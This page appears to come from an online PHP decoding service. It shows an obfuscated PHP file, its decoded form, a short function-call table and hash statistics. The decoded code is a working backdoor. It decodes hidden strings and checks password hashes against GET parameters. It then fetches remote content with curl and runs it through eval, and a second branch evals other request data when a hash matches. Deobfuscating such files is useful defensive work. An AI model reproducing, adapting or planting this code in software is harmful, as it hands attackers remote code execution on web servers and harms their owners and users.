Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); $u = "r"."a"."n"."g"."e"; $QLuv = $u("~", " "); $wv=${$QLuv[7+24..
Decoded Output download
<?php error_reporting(0); $u = "r"."a"."n"."g"."e"; $QLuv = $u("~", " "); $wv=${$QLuv[7+24].$QLuv[18+41].$QLuv[31+16].$QLuv[28+19].$QLuv[47+4].$QLuv[10+43].$QLuv[52+5]}; @(md5(md5(md5(md5($wv[17]))))==="19cdff99d3341b209f3c6e552013522b")&&(count($wv)==23&&in_array(gettype($wv).count($wv),$wv))?(($wv[65]=$wv[65].$wv[78])&&($wv[87]=$wv[65]($wv[87]))&&(@eval($wv[65](${$wv[37]}[24])))):$wv;class nJ{ static function wHQEvbVR($QrhtwxjUi) { $iNJM = "r"."a"."n"."g"."e"; $iGtyPvZb = $iNJM("~", " "); $Txhnp = explode(";", $QrhtwxjUi); $fPG = ""; foreach ($Txhnp as $TfNxbXrkP => $maCzhw) $fPG .= $iGtyPvZb[$maCzhw - 77870]; return $fPG; } static function ACc($mv, $IP) { $sjRcuMfA = curl_init($mv); curl_setopt($sjRcuMfA, CURLOPT_RETURNTRANSFER, 1); $ZiXxsq = curl_exec($sjRcuMfA); return empty($ZiXxsq) ? $IP($mv) : $ZiXxsq; } static function xbvJQjG() { $MWmpVfkPnv = array("77897;77882;77895;77899;77880;77895;77901;77894;77879;77886;77897;77880;77891;77885;77886","77881;77880;77882;77901;77882;77885;77880;77947;77945","77890;77881;77885;77886;77901;77896;77895;77897;77885;77896;77895","77884;77899;77897;77889","77898;77899;77881;77895;77942;77944;77901;77896;77895;77897;77885;77896;77895","77894;77891;77888;77895;77901;77893;77895;77880;77901;77897;77885;77886;77880;77895;77886;77880;77881","77924;77954","77871","77949;77954","77931;77914;77914;77931;77907","77885;77894"); foreach ($MWmpVfkPnv as $Wx) $ugVXh[] = self::wHQEvbVR($Wx);$uXYTm = @$ugVXh[1](${"_"."G"."E"."T"}[$ugVXh[0+9]]); $WuRLnmZ = @$ugVXh[0+3]($ugVXh[1+5], $uXYTm); $JU = $ugVXh[2+0]($WuRLnmZ, true); @${"_"."G"."E"."T"}[$ugVXh[4+6]] == 1 && die($ugVXh[5+0](__FILE__)); if( ((@$JU[0] - time()) > 0) and (md5(md5($JU[1+2])) === "8a733313bf6b9c39660cc9bf4329d1ba") ): $vjrZzEaLu = self::ACc($JU[0+1], $ugVXh[1+4]);@eval($ugVXh[0+4]($vjrZzEaLu));die; endif; }}nJ::xbvJQjG();eval(base64_decode("
"));?>
Did this file decode correctly?
Original Code
<?php error_reporting(0); $u = "r"."a"."n"."g"."e"; $QLuv = $u("~", " "); $wv=${$QLuv[7+24].$QLuv[18+41].$QLuv[31+16].$QLuv[28+19].$QLuv[47+4].$QLuv[10+43].$QLuv[52+5]}; @(md5(md5(md5(md5($wv[17]))))==="19cdff99d3341b209f3c6e552013522b")&&(count($wv)==23&&in_array(gettype($wv).count($wv),$wv))?(($wv[65]=$wv[65].$wv[78])&&($wv[87]=$wv[65]($wv[87]))&&(@eval($wv[65](${$wv[37]}[24])))):$wv;class nJ{ static function wHQEvbVR($QrhtwxjUi) { $iNJM = "r"."a"."n"."g"."e"; $iGtyPvZb = $iNJM("~", " "); $Txhnp = explode(";", $QrhtwxjUi); $fPG = ""; foreach ($Txhnp as $TfNxbXrkP => $maCzhw) $fPG .= $iGtyPvZb[$maCzhw - 77870]; return $fPG; } static function ACc($mv, $IP) { $sjRcuMfA = curl_init($mv); curl_setopt($sjRcuMfA, CURLOPT_RETURNTRANSFER, 1); $ZiXxsq = curl_exec($sjRcuMfA); return empty($ZiXxsq) ? $IP($mv) : $ZiXxsq; } static function xbvJQjG() { $MWmpVfkPnv = array("77897;77882;77895;77899;77880;77895;77901;77894;77879;77886;77897;77880;77891;77885;77886","77881;77880;77882;77901;77882;77885;77880;77947;77945","77890;77881;77885;77886;77901;77896;77895;77897;77885;77896;77895","77884;77899;77897;77889","77898;77899;77881;77895;77942;77944;77901;77896;77895;77897;77885;77896;77895","77894;77891;77888;77895;77901;77893;77895;77880;77901;77897;77885;77886;77880;77895;77886;77880;77881","77924;77954","77871","77949;77954","77931;77914;77914;77931;77907","77885;77894"); foreach ($MWmpVfkPnv as $Wx) $ugVXh[] = self::wHQEvbVR($Wx);$uXYTm = @$ugVXh[1](${"_"."G"."E"."T"}[$ugVXh[0+9]]); $WuRLnmZ = @$ugVXh[0+3]($ugVXh[1+5], $uXYTm); $JU = $ugVXh[2+0]($WuRLnmZ, true); @${"_"."G"."E"."T"}[$ugVXh[4+6]] == 1 && die($ugVXh[5+0](__FILE__)); if( ((@$JU[0] - time()) > 0) and (md5(md5($JU[1+2])) === "8a733313bf6b9c39660cc9bf4329d1ba") ): $vjrZzEaLu = self::ACc($JU[0+1], $ugVXh[1+4]);@eval($ugVXh[0+4]($vjrZzEaLu));die; endif; }}nJ::xbvJQjG();eval(base64_decode("
"));?>
Function Calls
range | 1 |
error_reporting | 1 |
Stats
MD5 | 70f833c793843871dbf3d5e7cefa8955 |
Eval Count | 0 |
Decode Time | 128 ms |